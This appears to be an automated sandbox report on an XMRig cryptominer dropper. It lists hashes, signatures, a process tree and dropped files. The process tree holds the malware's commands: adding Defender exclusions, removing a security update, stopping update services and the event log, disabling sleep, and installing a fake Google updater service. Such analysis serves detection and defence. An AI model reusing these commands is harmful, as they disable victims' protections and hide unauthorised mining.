Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20250410-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250410-enlocale:en-usos:windows10-ltsc_2021-x64system
  • submitted
    16/04/2025, 23:55

General

  • Target

    niha-main/iylksfkktra.exe

  • Size

    5.1MB

  • MD5

    cb1ab881df77d5e59c9cd71a042489dd

  • SHA1

    948c65951d6f888dacb567d9938bb21492d82097

  • SHA256

    23fa323eea0a8a6367e810996a54337197c1750a9a0a53c306c8c4022dd94780

  • SHA512

    84a1030a3d2f55ad6fc576bb122d98428485986c1fe4bbd41e13ac1ce588dc3f1034fbe18139f23f9422d520815b4e437b6ac7b78960d0b6c52c56acb87f9c31

  • SSDEEP

    98304:JiGUZDIMGpNQVgB6W9Yj1FbFKGZkZk0a51wYKZpptRA3x9JEY0UiHO5RcrNkjR:KGpNfB8pFbFK1G0a5k7A3LJGUiu5WJkd

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 52 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\niha-main\iylksfkktra.exe
    "C:\Users\Admin\AppData\Local\Temp\niha-main\iylksfkktra.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:5256
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:1732
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:4312
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1744
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4076
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:3412
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:1808
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4968
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1484
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1132
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3444
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:1952
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3108
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:2152
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
        2⤵
        • Launches sc.exe
        PID:5028
    • C:\ProgramData\GoogleUP\Chrome\Updater.exe
      C:\ProgramData\GoogleUP\Chrome\Updater.exe
      1⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1516
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2100
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1056
        • C:\Windows\system32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:5320
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:5404
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:2008
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:5520
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:5688
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:5464
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:2044
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:5588
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:2764
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          • Suspicious use of AdjustPrivilegeToken
          PID:5800
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:5696
          • C:\Windows\explorer.exe
            explorer.exe
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4752

        Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        • C:\ProgramData\GoogleUP\Chrome\Updater.exe

          Filesize

          5.1MB

          MD5

          cb1ab881df77d5e59c9cd71a042489dd

          SHA1

          948c65951d6f888dacb567d9938bb21492d82097

          SHA256

          23fa323eea0a8a6367e810996a54337197c1750a9a0a53c306c8c4022dd94780

          SHA512

          84a1030a3d2f55ad6fc576bb122d98428485986c1fe4bbd41e13ac1ce588dc3f1034fbe18139f23f9422d520815b4e437b6ac7b78960d0b6c52c56acb87f9c31

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ycgsaqnb.1t0.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Windows\system32\drivers\etc\hosts

          Filesize

          3KB

          MD5

          00930b40cba79465b7a38ed0449d1449

          SHA1

          4b25a89ee28b20ba162f23772ddaf017669092a5

          SHA256

          eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

          SHA512

          cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

        • memory/216-11-0x00007FF88A1C0000-0x00007FF88AC82000-memory.dmp

          Filesize

          10.8MB

        • memory/216-12-0x00007FF88A1C0000-0x00007FF88AC82000-memory.dmp

          Filesize

          10.8MB

        • memory/216-13-0x00007FF88A1C0000-0x00007FF88AC82000-memory.dmp

          Filesize

          10.8MB

        • memory/216-14-0x00007FF88A1C0000-0x00007FF88AC82000-memory.dmp

          Filesize

          10.8MB

        • memory/216-17-0x000002F1CFD20000-0x000002F1CFE6F000-memory.dmp

          Filesize

          1.3MB

        • memory/216-18-0x00007FF88A1C0000-0x00007FF88AC82000-memory.dmp

          Filesize

          10.8MB

        • memory/216-0-0x00007FF88A1C3000-0x00007FF88A1C5000-memory.dmp

          Filesize

          8KB

        • memory/216-1-0x000002F1CFB80000-0x000002F1CFBA2000-memory.dmp

          Filesize

          136KB

        • memory/2100-41-0x000001BF1F750000-0x000001BF1F76C000-memory.dmp

          Filesize

          112KB

        • memory/2100-42-0x000001BF1F770000-0x000001BF1F825000-memory.dmp

          Filesize

          724KB

        • memory/2100-43-0x000001BF1F830000-0x000001BF1F83A000-memory.dmp

          Filesize

          40KB

        • memory/2100-46-0x000001BF1F3E0000-0x000001BF1F52F000-memory.dmp

          Filesize

          1.3MB

        • memory/4752-60-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-64-0x00000000007F0000-0x0000000000810000-memory.dmp

          Filesize

          128KB

        • memory/4752-57-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-71-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-61-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-63-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-65-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-67-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-69-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-66-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-68-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-70-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-62-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-59-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/4752-58-0x0000000140000000-0x0000000140835000-memory.dmp

          Filesize

          8.2MB

        • memory/5696-51-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/5696-50-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/5696-49-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/5696-56-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/5696-52-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB

        • memory/5696-53-0x0000000140000000-0x000000014000E000-memory.dmp

          Filesize

          56KB